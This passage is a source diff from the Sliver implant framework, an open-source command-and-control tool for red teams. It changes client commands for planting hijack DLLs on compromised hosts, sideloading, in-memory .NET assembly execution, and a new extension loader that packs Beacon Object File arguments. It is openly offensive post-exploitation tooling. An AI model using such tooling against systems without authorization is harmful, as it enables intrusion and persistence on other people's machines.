+	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
+		ReferenceDLLPath: referencePath,
+		TargetLocation:   targetPath,
+		ReferenceDLL:     localRefData,
+		TargetDLL:        targetDLLData,
+		Request:          con.ActiveSession.Request(ctx),
+		ProfileName:      profileName,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("DLL uploaded to %s\n", targetPath)
+}

client/command/exec/execute-assembly.go

@@ -32,7 +32,7 @@ import (
 
 // ExecuteAssemblyCmd - Execute a .NET assembly in-memory
 func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}

client/command/exec/sideload.go

@@ -21,6 +21,8 @@ import (
 	"io/ioutil"
 	"os"
 	"path"
+	"path/filepath"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -38,13 +40,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	entryPoint := ctx.Flags.String("entry-point")
 	processName := ctx.Flags.String("process")
-	args := ctx.Flags.String("args")
+	args := strings.Join(ctx.Args.StringList("args"), " ")
 
 	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
@@ -54,6 +57,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EntryPoint:  entryPoint,
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
+		IsDLL:       isDLL,
 	})
 	ctrl <- true
 	<-ctrl

client/command/extensions/README.md

@@ -0,0 +1,62 @@
+Extensions
+====
+
+Allows to load and execute 3rd party extensions.
+
+Extensions must be loaded from a directory with the following architecture:
+
+```shell
+/path/to/extension/folder/
+├── manifest.json
+└── windows
+    ├── 386
+    │   └── extension.x86.dll
+    └── amd64
+        └── extension.x64.dll
+```
+
+The extension folder structure must follow the `GOOS/GOARCH/` scheme.
+
+Here's an example manifest:
+
+```json
+[
+{
+    "name": "foo",
+    "help": "Help for foo command",
+    "entrypoint": "RunFoo",
+    "init" :"NimMain",
+    "dependsOn": "bar",
+    "files": [
+        {
+            "os": "windows",
+            "files":{
+                "x86": "extension.x86.o",
+                "x64": "extension.x64.o",
+            }
+        }
+    ],
+    "arguments": [
+        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
+    ]
+}
+]
+```
+
+The structure is the following one:
+
+- `name`: name of the extension, which will also be the name of the command in the sliver client
+- `help`: the documentation for the new command
+- `entrypoint`: the name of the exported function to call
+- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
+- `init`: the initialization function name (if relevant, can be omitted)
+- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
+- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+
+The `type` of an argument can be one of the following:
+
+- `string`: regular ASCII string
+- `wstring`: string that will be UTF16 encoded
+- `int`: will be parsed as a 32 bit unsigned integer
+- `short`: will be parsed as a 16 bit unsigned integer
+- `file`: a string to a file path on the client side which content will be passed to the BOF

client/command/extensions/load.go

@@ -1,26 +1,11 @@
 package extensions
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
+	"bytes"
 	"context"
+	"encoding/binary"
 	"encoding/json"
+	"errors"
 	"fmt"
 	"io/ioutil"
 	"os"
@@ -28,80 +13,59 @@ import (
 	"path/filepath"
 	"strings"
 
-	"github.com/bishopfox/sliver/client/command/help"
+	"golang.org/x/text/encoding/unicode"
+
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
 const (
 	defaultTimeout = 60
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
 )
 
-var commandMap map[string]extension
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
+var commandMap map[string]extensionCommand
 
+type extensionCommand struct {
+	Name       string              `json:"name"`
+	Help       string              `json:"help"`
+	Files      []extensionFiles    `json:"extFiles"`
+	Arguments  []extensionArgument `json:"arguments"`
+	Entrypoint string              `json:"entrypoint"`
+	DependsOn  string              `json:"dependsOn"`
+	Init       string              `json:"init"`
+	Path       string
+}
 type binFiles struct {
 	Ext64Path string `json:"x64"`
 	Ext32Path string `json:"x86"`
 }
 
-type extFile struct {
+type extensionFiles struct {
 	OS    string   `json:"os"`
 	Files binFiles `json:"files"`
 }
 
-type extensionCommand struct {
-	Name           string    `json:"name"`
-	Entrypoint     string    `json:"entrypoint"`
-	Help           string    `json:"help"`
-	LongHelp       string    `json:"longHelp"`
-	AllowArgs      bool      `json:"allowArgs"`
-	DefaultArgs    string    `json:"defaultArgs"`
-	ExtensionFiles []extFile `json:"extFiles"`
-	IsReflective   bool      `json:"isReflective"`
-	IsAssembly     bool      `json:"IsAssembly"`
+type extensionArgument struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Desc     string `json:"desc"`
+	Optional bool   `json:"optional"`
 }
 
-func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type extension struct {
-	Name     string             `json:"extensionName"`
-	Commands []extensionCommand `json:"extensionCommands"`
-	Path     string
-}
-
-func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.ExtensionFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					}
-				}
+func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, ef := range e.Files {
+		if targetOS == ef.OS {
+			switch targetArch {
+			case "386":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
+			case "amd64":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			default:
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
 			}
-
 		}
 	}
 	if filePath == "" {
@@ -110,136 +74,237 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
 	return
 }
 
-func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no extension command found for name %s", name)
-	return
-}
-
-// LoadExtensionCmd - Locally load an extension into the Sliver shell.
-func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
+func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dirPath := ctx.Args.String("dir-path")
-	if dirPath == "" {
-		con.PrintErrorf("Please provide an extension path\n")
+	extCmds, err := ParseExtensions(dirPath)
+	if err != nil {
 		return
 	}
 
-	// retrieve extension manifest
-	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	for _, extCmd := range extCmds {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, con.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			continue
+		}
+		RegisterExtensionCommand(extCmd, con)
+		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
+	}
+}
+
+func ParseExtensions(extPath string) ([]*extensionCommand, error) {
+	manifestPath := filepath.Join(extPath, "manifest.json")
 	jsonBytes, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		return nil, err
 	}
-	// parse it
-	ext := &extension{}
-	err = json.Unmarshal(jsonBytes, ext)
+	extensionsCmds := make([]*extensionCommand, 0)
+	err = json.Unmarshal(jsonBytes, &extensionsCmds)
 	if err != nil {
-		con.PrintErrorf("Error loading extension: %v", err)
-		return
+		return nil, err
 	}
-	ext.Path = dirPath
-	// for each extension command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			return
-		}
-		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		extArgs := func(a *grumble.Args) {}
-		if extCmd.AllowArgs {
-			extArgs = func(a *grumble.Args) {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			}
-		}
-		ctx.App.AddCommand(&grumble.Command{
-			Name:     extCmd.Name,
-			Help:     helpMsg,
-			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-			Args:     extArgs,
-			Run: func(extCtx *grumble.Context) error {
-				con.Println()
-				runExtensionCommand(extCtx, con)
-				con.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			HelpGroup: consts.ExtensionHelpGroup,
-		})
+	for _, extCmd := range extensionsCmds {
+		extCmd.Path = extPath
+		commandMap[extCmd.Name] = *extCmd
 	}
-	con.PrintInfof("%s extension has been loaded\n", ext.Name)
+	return extensionsCmds, nil
 }
 
-func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
+	commandMap[extCmd.Name] = *extCmd
+	helpMsg := extCmd.Help
+	extensionCmd := &grumble.Command{
+		Name: extCmd.Name,
+		Help: helpMsg,
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runExtensionCmd(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Bool("s", "save", false, "Save output to disk")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			if len(extCmd.Arguments) > 0 {
+				// BOF specific
+				for _, arg := range extCmd.Arguments {
+					var (
+						argFunc      func(string, string, ...grumble.ArgOption)
+						defaultValue grumble.ArgOption
+					)
+					switch arg.Type {
+					case "int", "short":
+						argFunc = a.Int
+						defaultValue = grumble.Default(0)
+					case "string", "wstring", "file":
+						argFunc = a.String
+						defaultValue = grumble.Default("")
+					}
+					if arg.Optional {
+						argFunc(arg.Name, arg.Desc, defaultValue)
+					} else {
+						argFunc(arg.Name, arg.Desc)
+					}
+				}
+			} else {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			}
+		},
+		HelpGroup: consts.ExtensionHelpGroup,
+	}
+	con.App.AddCommand(extensionCmd)
+}
+
+func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveSession.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("Error: %s", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("Error: %s", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}
+
+func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
+	var extensionList []string
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		return err
+	}
+	// Try to find the extension in the loaded extensions
+	if len(session.Extensions) == 0 {
+		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+			Request: con.ActiveSession.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+		if extList.Response != nil && extList.Response.Err != "" {
+			return errors.New(extList.Response.Err)
+		}
+		extensionList = extList.Names
+	} else {
+		extensionList = session.Extensions
+	}
+	depLoaded := false
+	for _, extName := range extensionList {
+		if !depLoaded && extName == ext.DependsOn {
+			depLoaded = true
+		}
+		if ext.Name == extName {
+			return nil
+		}
+	}
+	// Extension not found, let's load it
+	if filepath.Ext(binPath) == ".o" {
+		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
+		// Auto load the coff loader if we have it
+		if !depLoaded {
+			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
+				return errLoad
+			}
+		}
+		return nil
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return err
+	}
+	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
+		return errRegister
+	}
+	// Update session info
+	if filepath.Ext(binPath) != ".o" {
+		// Don't update session for BOFs, we don't cache them
+		// on the implant side (yet)
+		// update the Session info
+		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+			Extensions: extensionList,
+			SessionID:  session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+	}
+	return nil
+}
+
+func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
+	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+		Name:    ext.Name,
+		Data:    binData,
+		OS:      session.OS,
+		Init:    ext.Init,
+		Request: con.ActiveSession.Request(ctx),
+	})
+	if err != nil {
+		return err
+	}
+	if registerResp.Response != nil && registerResp.Response.Err != "" {
+		return errors.New(registerResp.Response.Err)
+	}
+	return nil
+}
+
+func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
+	depExt, f := commandMap[depName]
+	if f {
+		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
+		if err != nil {
+			return err
+		}
+		depBinData, err := ioutil.ReadFile(depBinPath)
+		if err != nil {
+			return err
+		}
+		return registerExtension(con, &depExt, depBinData, session, ctx)
+	}
+	return fmt.Errorf("missing dependency %s", depName)
+}
+
+func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		callExtension *sliverpb.CallExtension
+		err           error
+		extensionArgs []byte
+		extName       string
+		entryPoint    string
+	)
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
 	ext, ok := commandMap[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
+	if err = loadExtension(ctx, session, con, &ext); err != nil {
 		return
 	}
 
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	var args string
-	if len(c.DefaultArgs) != 0 {
-		args = c.DefaultArgs
-	}
-	if len(ctx.Args.StringList("arguments")) > 0 {
-		args = strings.Join(ctx.Args.StringList("arguments"), " ")
-	}
-
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -249,85 +314,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: args,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	isBOF := filepath.Ext(binPath) == ".o"
+
+	// BOFs (Beacon Object Files) are a specific kind of extensions
+	// that require another extension (a COFF loader) to be present.
+	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
+	// This block will pack both the BOF data and its arguments into a single buffer that
+	// the loader will extract and load.
+	if isBOF {
+		// Beacon Object File -- requires a COFF loader
+		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
 		if err != nil {
-			con.PrintErrorf("%s\n", err)
+			con.PrintErrorf("Error: %s\n", err)
 			return
 		}
-		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        strings.Trim(args, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
+		extName = ext.DependsOn
+		entryPoint = commandMap[extName].Entrypoint // should exist at this point
 	} else {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        args,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		// Regular DLL
+		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+		extensionArgs = []byte(extArgs)
+		extName = ext.Name
+		entryPoint = ext.Entrypoint
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
+	con.SpinUntil(msg, ctrl)
+	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+		Name:    extName,
+		Export:  entryPoint,
+		Args:    extensionArgs,
+		Request: con.ActiveSession.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+	if callExtension.Response != nil && callExtension.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully executed %s\n", extName)
+	if len(callExtension.Output) > 0 {
+		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
 		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			outFilePath.Write(callExtension.Output)
 			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 		}
 	}
 }
 
+func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+	argsBuffer := BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	// Parse BOF arguments from grumble
+	for _, arg := range ext.Arguments {
+		switch arg.Type {
+		case "int":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddInt(uint32(val))
+			if err != nil {
+				return nil, err
+			}
+		case "short":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddShort(uint16(val))
+			if err != nil {
+				return nil, err
+			}
+		case "string":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddString(val)
+			if err != nil {
+				return nil, err
+			}
+		case "wstring":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddWString(val)
+			if err != nil {
+				return nil, err
+			}
+		// Adding support for filepaths so we can
+		// send binary data like shellcodes to BOFs
+		case "file":
+			val := ctx.Args.String(arg.Name)
+			data, err := ioutil.ReadFile(val)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddData(data)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	// Now build the extension's argument buffer
+	extensionArgsBuffer := BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	err = extensionArgsBuffer.AddString(ext.Entrypoint)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(binData)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(parsedArgs)
+	if err != nil {
+		return nil, err
+	}
+	extensionArgs, err = extensionArgsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	return extensionArgs, nil
+
+}
+
 func cmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {
@@ -338,5 +460,66 @@ func cmdExists(name string, app *grumble.App) bool {
 }
 
 func init() {
-	commandMap = make(map[string]extension)
+	commandMap = make(map[string]extensionCommand)
+}
+
+// BOF Specific code
+
+type BOFArgsBuffer struct {
+	Buffer *bytes.Buffer
+}
+
+func (b *BOFArgsBuffer) AddData(d []byte) error {
+	dataLen := uint32(len(d))
+	err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
+	if err != nil {
+		return err
+	}
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddShort(d uint16) error {
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddInt(d uint32) error {
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddString(d string) error {
+	stringLen := uint32(len(d)) + 1
+	err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
+	if err != nil {
+		return err
+	}
+	dBytes := append([]byte(d), 0x00)
+	return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
+}
+
+func (b *BOFArgsBuffer) AddWString(d string) error {
+	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
+	strBytes := append([]byte(d), 0x00)
+	utf16Data, err := encoder.Bytes(strBytes)
+	if err != nil {
+		return err
+	}
+	stringLen := uint32(len(utf16Data))
+	err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
+	if err != nil {
+		return err
+	}
+	return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
+}
+
+func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
+	outBuffer := new(bytes.Buffer)
+	err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
+	if err != nil {
+		return nil, err
+	}
+	err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
+	if err != nil {
+		return nil, err
+	}
+	return outBuffer.Bytes(), nil
 }

client/command/filesystem/cat.go

@@ -20,6 +20,7 @@ package filesystem
 
 import (
 	"context"
+	"encoding/hex"
 	"fmt"
 	"os"
 
@@ -66,7 +67,11 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.Println(string(download.Data))
 		}
 	} else {
-		con.Println(string(download.Data))
+		if ctx.Flags.Bool("hex") {
+			con.Println(hex.Dump(download.Data))
+		} else {
+			con.Println(string(download.Data))
+		}
 	}
 	// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
 	// 	err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)

client/command/filesystem/download.go

@@ -25,10 +25,10 @@ import (
 	"path"
 	"path/filepath"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
-	"gopkg.in/AlecAivazis/survey.v1"
 
 	"github.com/desertbit/grumble"
 )

client/command/filesystem/ls.go

@@ -22,8 +22,11 @@ import (
 	"bytes"
 	"context"
 	"fmt"
+	"path/filepath"
+	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurence]
+			potentialFilter := remotePath[lastSeparatorOccurence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			}
+		}
+	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
 		Request: con.ActiveSession.Request(ctx),
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintWarnf("%s\n", err)
 	} else {
-		PrintLs(ls, con)
+		PrintLs(ls, con, ctx.Flags, filter)
 	}
 }
 
 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
+func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
 	con.Printf("%s\n", ls.Path)
 	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, fileInfo := range ls.Files {
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
